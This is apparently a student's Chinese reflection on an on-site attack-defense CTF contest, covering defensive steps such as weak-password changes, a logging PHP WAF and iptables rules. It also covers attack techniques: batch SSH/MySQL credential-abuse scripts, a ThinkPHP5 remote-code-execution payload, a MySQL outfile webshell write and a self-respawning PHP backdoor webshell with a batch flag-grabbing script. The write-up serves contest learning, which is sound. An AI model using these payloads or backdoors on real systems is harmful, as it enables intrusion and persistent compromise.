第一次带队参加本校举办的线下网络攻防赛。之前参加过两场线下攻防赛,是跟着学长的,当时才学,懂的不多,所以全程是端茶递水的,赛后也没有总结一下,导致那两场都白参加了,也导致这一次准备不全面。这一次自己带队参加线下攻防赛,准备阶段和比赛阶段有很多意识和技术方面的原因导致比赛被打的很惨,又无能为力。反思记录一下,为以后的攻防比赛和实际渗透测试环境情况下做准备。
网络安全攻防比赛是一种更接近实战的比赛形式,要求参赛人员在攻击他人的同时也要做好防守。下面仅记录从本次比赛中获得的感受。
存在的诸多问题:
1、准备阶段做的不好
一个好的waf可以阻挡大部分的攻击,同时也可以详细的记录别人攻击的过程。我找的waf只挡了小部分的攻击,并且上waf的姿势没对,导致很多payload都看不到详细情况。
日志记录,一般一个好的waf就包含了日志的记录。
2、防御的整套流程不了解
看了网上很多大表哥说的什么iptables禁ip,修改命令别名这些的,等到真正比赛的时候发现权限太低,什么都做不了,一下就失去了后面防御的方向。
3、顾此失彼
因为和我一队的其他人是才入安全的,所以整支队伍其实也就我一个人。因为一共提供了3个web,而我登陆上去过后就一直在修复其中一个,忘了另两个,导致开局后被打了几次,然后还被改了数据库密码......想想真的是悔啊,那种命运掌握在别人手里的感觉。
4、对漏洞敏感不足
网上百度到了漏洞,能够copy网上的payload实现PHPinfo,但是没有代码执行的payload,代码又不是很看的懂,所有就是有漏洞存在都不知道怎么利用。(学的太菜)
5、thinkphp框架不会
其中有一个web源码用的是thinkPHP5二次开发的,tp5远程代码执行漏洞的payload在这一套源码上面需要做一些改变,但是对tp5的不熟,以及没有看出源码的路由规则,所以不知道如何利用tp5的那个远程代码执行漏洞和typecho的install.php的反序列化漏洞。(后悔将大把的时间浪费了,用来学习的时间太少)
6、日志分析能力太弱
一直显示被打,看着web抓取的日志,却又无从下手,一是日志抓取的不到位,实现payload的地方没抓取到,因为我只是在index文件里面包含了waf,所有显示的所有攻击都是/index.php,最根本的还是没有从被攻击的payload当中分析出可能出现的漏洞。
7、脚本烂,脚本烂,脚本烂......
想实现一个自动化的获取flag的脚本,无奈忘了在地址后面加web所在的端口,卧槽,我就说一直报错一直报错,还看不懂报错信息。。。。。。太粗心了。写脚本的能力太弱了(亟待加强)
8、对整个流程还是有点模糊,虽然我根据被打的payload拉回了不少分,但是也是后面才知道flag机所在的flag文件位置是写在前面黑板上的(我是背对着黑板的)。
下面我根据自己在这次比赛中获得的经历以及网上的流程自己总结一下打网络攻防时需要做的工作
比赛流程:
网上一张总结的很好的图片:
首先要先清楚网络节点的分布,知道我们自己的位置,维护的靶机位置,需要攻击的靶机位置,以及flag机地址和flag所在文件。
这次比赛的网络分布:
选手的地址:10.16.0.x
靶机的地址:192.168.0.x
flag机地址:192.168.0.2
flag文件:192.168.0.2/api/flag
这里附上一张从其他文章上面copy下来的一张图片
知道网络分布是最基本的,因为你要知道你的敌人和目标在哪儿。
收集一下其他队伍的主机:
//host.py
#coding:utf-8
with open("host.txt", "a") as f:
for i in range(10,21):
host = "192.168.0."
host = host + str(i)
f.write(host + "\n" + ":port")
//删掉自己队伍的ip
防守
先做好防守,再谈攻击,只有防守好了,丢分就不会太严重,因为被攻击一次扣的分要攻击别人两次才能补回来,成本很高。所以防守是非常重要的。
登上ssh后,第一件事修改弱口令,修改弱口令,修改弱口令
ssh,mysql,网站管理后台
有些比赛有弱口令,所有的账号都是一个账号密码,如果不修改,就等着gg吧。
这次比赛mysql账号密码是一样的,开局还不到三分钟,正在修改mysql密码,结果就被强制退出,数据库密码被人改了,网站gg,因为是批量修改,很多人密码都被改了,所以应该用的是脚本(想的周到啊)。所以啊, 尽快修改弱口令是最重要的。
(查看数据库账号密码是在网站的数据库配置文件当中)
遇到的一个小问题,是我见识浅,因为权限问题,低权限用户登录数据库后是看不到mysql数据库的。
自己写了一个批量修改mysql数据库密码的脚本:
//ModifierMysql.py
import pymysql
with open("host.txt", "r") as f:
for host in f.readlines():
host = host.replace("\n", "")
try:
db = pymysql.connect(host=host, user="root", password="root", database="mysql", charset="utf8")
cur = db.cursor()
cur.execute("UPDATE user set password=PASSWORD('test') WHERE user='root';")
db.commit()
print(host+"'s database connect successfully")
cur.execute("FLUSH PRIVILEGES;")
db.commit()
print(host+"'s privileges flush successfully")
cur.close()
db.close()
except:
print(host+"'s database connect failed")
continue
然后就是ssh的弱口令了,一般ssh的话应该不会是弱口令,但是难免呢,有的话就要尽快修改
放出一个批量修改ssh密码的脚本(测试成功):
//ModifierSsh.py
#coding:utf-8
import paramiko
with open("host.txt", "r") as f:
for host in f.readlines():
host = host.replace("\n", "")
username = "root"
password= "root"
newpassword= "test"
port=22
try:
ssh=paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname=host,username=username,password=password,timeout=2)
ssh.exec_command("passwd<<EOF\n"+newpassword+"\n"+newpassword+"\n"+"EOF")
print(host+"'password modify successfully")
ssh.close()
except:
print(host+"'password modify failed")
这是修改密码,一般有弱口令,可以修改过后进行利用,直接登陆ssh然后拿flag
改写一下上面的脚本
#coding:utf-8
import paramiko
with open("host.txt", "r") as f:
for host in f.readlines():
host = host.replace("\n", "")
username = "root"
password= "root"
port=22
try:
ssh=paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname=host,username=username,password=password,timeout=2)
stdin,stdout,stderr = ssh.exec_command("curl "+host+"/api/flag")
print(stdout.read().decode())
ssh.close()
except:
print(host+" connect failed")
//脚本根据情况需要更改
这就是开局最重要的事情了,看网上师傅们的文章,有的因为没有改弱口令一直被打。
弱口令这一块解决了。
上waf,上日志检测脚本
网上有很多这样的脚本,一般都是waf和日志检测功能在一起的。
我这里有一个学长自己写的waf脚本,带日志检测功能,很强大。之前网上百度的一个waf,虽然也阻挡了一些攻击,但是还是有一些攻击没有拦截到。但是换上了学长写的脚本,后面就没有再被打过。有兴趣可以自己看一下:
//waf.php
//需要自己创建一个log文件夹
<?php
error_reporting(0);
define('LOG_FILEDIR','./logs');
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_')
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']);
$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);
logging($input);
}
function logging($var){
$filename = $_SERVER['REMOTE_ADDR'];
$LOG_FILENAME = LOG_FILEDIR."/".$filename;
$time = date("Y-m-d G:i:s");
file_put_contents($LOG_FILENAME, "\r\n".$time."\r\n".print_r($var, true), FILE_APPEND);
file_put_contents($LOG_FILENAME,"\r\n".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'], FILE_APPEND);
file_put_contents($LOG_FILENAME,"\r\n***************************************************************\n",FILE_APPEND);
}
waf();
?>
这里再分享一个网上一位师傅的脚本,也是非常的好
<?php
//error_reporting(E_ALL);
//ini_set('display_errors', 1);
/*
** 线下攻防php版本waf
**
** Author: 落
*/
/*
检测请求方式,除了get和post之外拦截下来并写日志。
*/
if($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET'){
write_attack_log("method");
}
$url = $_SERVER['REQUEST_URI']; //获取uri来进行检测
$data = file_get_contents('php://input'); //获取post的data,无论是否是mutipart
$headers = get_all_headers(); //获取header
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($url)))); //对URL进行检测,出现问题则拦截并记录
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($data)))); //对POST的内容进行检测,出现问题拦截并记录
/*
检测过了则对输入进行简单过滤
*/
foreach ($_GET as $key => $value) {
$_GET[$key] = filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {
$_POST[$key] = filter_dangerous_words($value);
}
foreach ($headers as $key => $value) {
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($value)))); //对http请求头进行检测,出现问题拦截并记录
$_SERVER[$key] = filter_dangerous_words($value); //简单过滤
}
/*
获取http请求头并写入数组
*/
function get_all_headers() {
$headers = array();
foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$headers[$key] = $value;
}
}
return $headers;
}
/*
检测不可见字符造成的截断和绕过效果,注意网站请求带中文需要简单修改
*/
function filter_invisible($str){
for($i=0;$i<strlen($str);$i++){
$ascii = ord($str[$i]);
if($ascii>126 || $ascii < 32){ //有中文这里要修改
if(!in_array($ascii, array(9,10,13))){
write_attack_log("interrupt");
}else{
$str = str_replace($ascii, " ", $str);
}
}
}
$str = str_replace(array("`","|",";",","), " ", $str);
return $str;
}
/*
检测网站程序存在二次编码绕过漏洞造成的%25绕过,此处是循环将%25替换成%,直至不存在%25
*/
function filter_0x25($str){
if(strpos($str,"%25") !== false){
$str = str_replace("%25", "%", $str);
return filter_0x25($str);
}else{
return $str;
}
}
/*
攻击关键字检测,此处由于之前将特殊字符替换成空格,即使存在绕过特性也绕不过正则的\b
*/
function filter_attack_keyword($str){
if(preg_match("/select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint\(/i", $str)){
write_attack_log("sqli");
}
//此处文件包含的检测我真的不会写了,求高人指点。。。
if(substr_count($str,$_SERVER['PHP_SELF']) < 2){
$tmp = str_replace($_SERVER['PHP_SELF'], "", $str);
if(preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)){
write_attack_log("LFI/LFR");;
}
}else{
write_attack_log("LFI/LFR");
}
if(preg_match("/base64_decode|eval\(|assert\(/i", $str)){
write_attack_log("EXEC");
}
if(preg_match("/flag/i", $str)){
write_attack_log("GETFLAG");
}
}
/*
简单将易出现问题的字符替换成中文
*/
function filter_dangerous_words($str){
$str = str_replace("'", "‘", $str);
$str = str_replace("\"", "“", $str);
$str = str_replace("<", "《", $str);
$str = str_replace(">", "》", $str);
return $str;
}
/*
获取http的请求包,意义在于获取别人的攻击payload
*/
function get_http_raw() {
$raw = '';
$raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['SERVER_PROTOCOL']."\r\n";
foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$key = substr($key, 5);
$key = str_replace('_', '-', $key);
$raw .= $key.': '.$value."\r\n";
}
}
$raw .= "\r\n";
$raw .= file_get_contents('php://input');
return $raw;
}
/*
这里拦截并记录攻击payload
*/
function write_attack_log($alert){
$data = date("Y/m/d H:i:s")." -- [".$alert."]"."\r\n".get_http_raw()."\r\n\r\n";
$ffff = fopen('log_is_a_secret_file.txt', 'a'); //日志路径
fwrite($ffff, $data);
fclose($ffff);
if($alert == 'GETFLAG'){
echo "HCTF{aaaa}"; //如果请求带有flag关键字,显示假的flag。(2333333)
}else{
sleep(15); //拦截前延时15秒
}
exit(0);
}
?>
如何部署waf:
如果是一个框架写的话,包含在重写文件或者数据库文件中。Apache环境可以利用.htaccess强行重写到waf再转回原页面。
修补web站点漏洞
访问靶机查看比赛的web站点,如果是一套cms,网上百度cms的漏洞,然后尽快修补,如果是举办方自己写的,只有通过审计。
也可以将后台登陆和文件上传这些的功能点中的action替换为#。或者直接删除登陆,注册,上传等这些页面。
网站备份
网站备份也是非常重要的,如果没有备份,后面被人打了,有些喜欢搅屎的人喜欢删除别人的站点,如果不备份,站点被删除之后会很麻烦(这一次就有搅屎的队伍,删除其他队伍的站点)。
//在网站目录下
tar -cvf web.tar ./*
源码扫描
将打包到本地的源码用D盾或者其他的漏洞检测工具进行扫描。因为有些举办方会在源码里面事先就放一个后门,有些没有发现就会很惨。在战斗打响之后,也要时不时的将源码打包拖到本地用工具扫一下,检查一下是不是存在后门。这个工作也是非常重要的。
猥琐防范
一般被人入侵过后要使用curl去获取flag,我们将curl这个命令给移除,对于一些新手来说可能就比较懵逼,或者他们以为这个洞已经被修复了,在一定程度上也会减小我们被攻击的概率。
移除curl命令:
//因为curl是二进制文件,直接将curl这个二进制文件移到其他目录,就不能使用curl这个命令了
//寻找curl的路径
which curl
//将curl二进制文件移到其他目录
mv curl ../
扫描端口
虽然这次没遇到。有些比赛可能还会在服务器上开启其他一些端口,像永恒之蓝这些,如果有,就尽快修复。顺便还能打一波其他队伍。
防火墙设置
#开放ssh
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
#打开80端口
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
#开启多端口简单用法
iptables -A INPUT -p tcp -m multiport --dport 22,80,8080,8081 -j ACCEPT
#允许外部访问本地多个端口 如8080,8081,8082,且只允许是新连接、已经连接的和已经连接的延伸出新连接的会话
iptables -A INPUT -p tcp -m multiport --dport 8080,8081,8082,12345 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -p tcp -m multiport --sport 8080,8081,8082,12345 -m state --state ESTABLISHED -j ACCEPT
#单个IP的最大连接数为 30
iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT
#单个IP在60秒内只允许最多新建10个连接
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 10 -j REJECT
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT
#允许外部访问本机80端口,且本机初始只允许有10个连接,每秒新增加2个连接,如果访问超过此限制则拒接 (此方式可以限制一些攻击)
iptables -A INPUT -p tcp --dport 80 -m limit --limit 2/s --limit-burst 10 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
#数据包简单识别,防止端口复用类的后门或者shell
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 443 -m state --state ESTABLISHED -j ACCEP
#防DDOS攻击
iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT
这是网上师傅总结的关于在防火墙方面的防范,不过需要有管理员权限。
防范溢出类攻击
如果发现服务器上存在可疑的进程,就要进一步分析是否是其他队伍留下的后门。
//后面研究一下linux进程
攻击
批量修改弱口令
前面说了,如果存在弱口令,除了修改自己的防止被攻击,还可以利用脚本攻击其他人(脚本见前面)。
mysql简单的getshell(如果有权限):
select '<?php echo system("curl 192.168.x.x/api/flag");?>' into outfile '/var/www/html/xxx/.config.php'
//然后也可以结合前面批量修改mysql密码的脚本,执行sql语句
//脚本和语句根据实际情况修改
写批量利用脚本
如果不会写脚本自动化的话,在比赛中是真的会很惨。(我写脚本很烂,这一次就是写本写好了,但是忘了加URL的端口,导致脚本一直报错,还没有发现错误,然后就一直手工获取flag,手工提交flag。还被学长狠狠嘲讽了一番,到最后发现了,脚本也写出来了,人家漏洞已经修复的差不多了)。
我放一个这次比赛中一个tp5的远程代码执行漏洞的利用脚本,然后具体情况自己再写:
//test.py
import requests
with open("ip.txt", "r") as f:
for i in f.readlines():
i = i.replace("\n", "")
url = "http://"+i+":8003/index.php/?s=home/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=curl%20http://192.168.0.2/api/flag"
#print(url)
res = requests.get(url=url)
if(len(res.text) > 100):
continue
if(len(res.text) == 0):
continue
else:
print(res.text[0:40])
经常查看日志
发现被人打了,赶快分析日志,修复漏洞,然后利用别人攻击的payload去打其他队伍,上面这个payload就是被别人打的日志(这一次也主要就是这一个漏洞在拿分......)。
百度cms漏洞,或者自己审计漏洞
这个需要有点代码功底,同时对常见框架比较熟悉。(我就是太菜了,发现漏洞都不会利用)
自动化提交flag
这次比赛没有实现,一是脚本写的不熟练,二是没有漏洞,确实没啥好写的,这次记录上,下次一定要用上:
//AutoSubflag.py
#encoding:utf-8
import requests
url = "" #提交flag的平台地址
flag = "" #flag
token = "" #队伍的凭证
data = {
"flag": flag,
"token": token
}
print("[+] flag is : "+flag)
response = requests.post(url = url, data = json.dumps(data)) #post数据为json,如果不是不是,则data = data
content = response.content.decoding("utf-8")
print("[+] Content : "+content)
if "failed" in content:
print("[-]failed")
else:
print("[+] Success!")
这一个脚本直接加在攻击脚本里面,获取flag后给flag变量,然后进行提交。
简单的不死马
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = './.config.php';
$code = '<?php if(md5($_POST["fuck"])=="639bae9ac6b3e1a84cebb7b403297b79"){@eval($_POST[gurenmeng]);} ?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>
//.config.php
//POST
//fuck=you&gurenmeng=system("curl 192.168.x.x/api/flag");
结合上传木马后利用的批量getflag
//GetFlag.py
#coding:utf-8
import requests
with open("host.txt", "r") as f:
for host in f.readlines():
host = host.replace("\n", "")
Webshellurl = "http://"+host+":8003/application/.config.php" #路径根据实际情况
data = {
"fuck": "you",
"gurenmeng": "system('curl 192.168.x.x/api/flag')"
}
res = requests.post(url = Webshellurl, data = data)
if(len(res.text) > 100): #网页报错
continue
if(len(res.text) == 0): #空白页面,自己想的一个简单的判断方法
continue
else:
flag = res.text
print(flag)
#也可以直接将提交flag的代码放在这儿
# url = "" #提交flag的平台地址
# flag = "" #flag
# token = "" #队伍的凭证
# data = {
# "flag": flag,
# "token": token
# }
# print("[+] flag is : "+flag)
# response = requests.post(url = url, data = json.dumps(data)) #post数据为json,如果不是不是,则data = data
# content = response.content
# print("[+] Content : "+content)
# if "failed" in content:
# print("[-]failed")
# else:
# print("[+] Success!")
(还可以将将脚本写成永真模式,执行一个循环过后sleep 5分钟,或者sleep 10分钟,这样会更加方便)
这就是我从这次比赛的过程中总结出来的东西,脚本是自己能够理解的比较简单的脚本,难的 一是不会写,网上的看不懂也不知道效果如何,提供的脚本可以测试的都是经过测试的。
这篇文章也旨是在总结一下这次的比赛,也是为以后的比赛做准备,里面有些是网上看的师傅们的文章。其中有什么不对,请各位师傅留言纠正。
参考链接:
http://rcoil.me/2017/06/CTF%E7%BA%BF%E4%B8%8B%E8%B5%9B%E6%80%BB%E7%BB%93/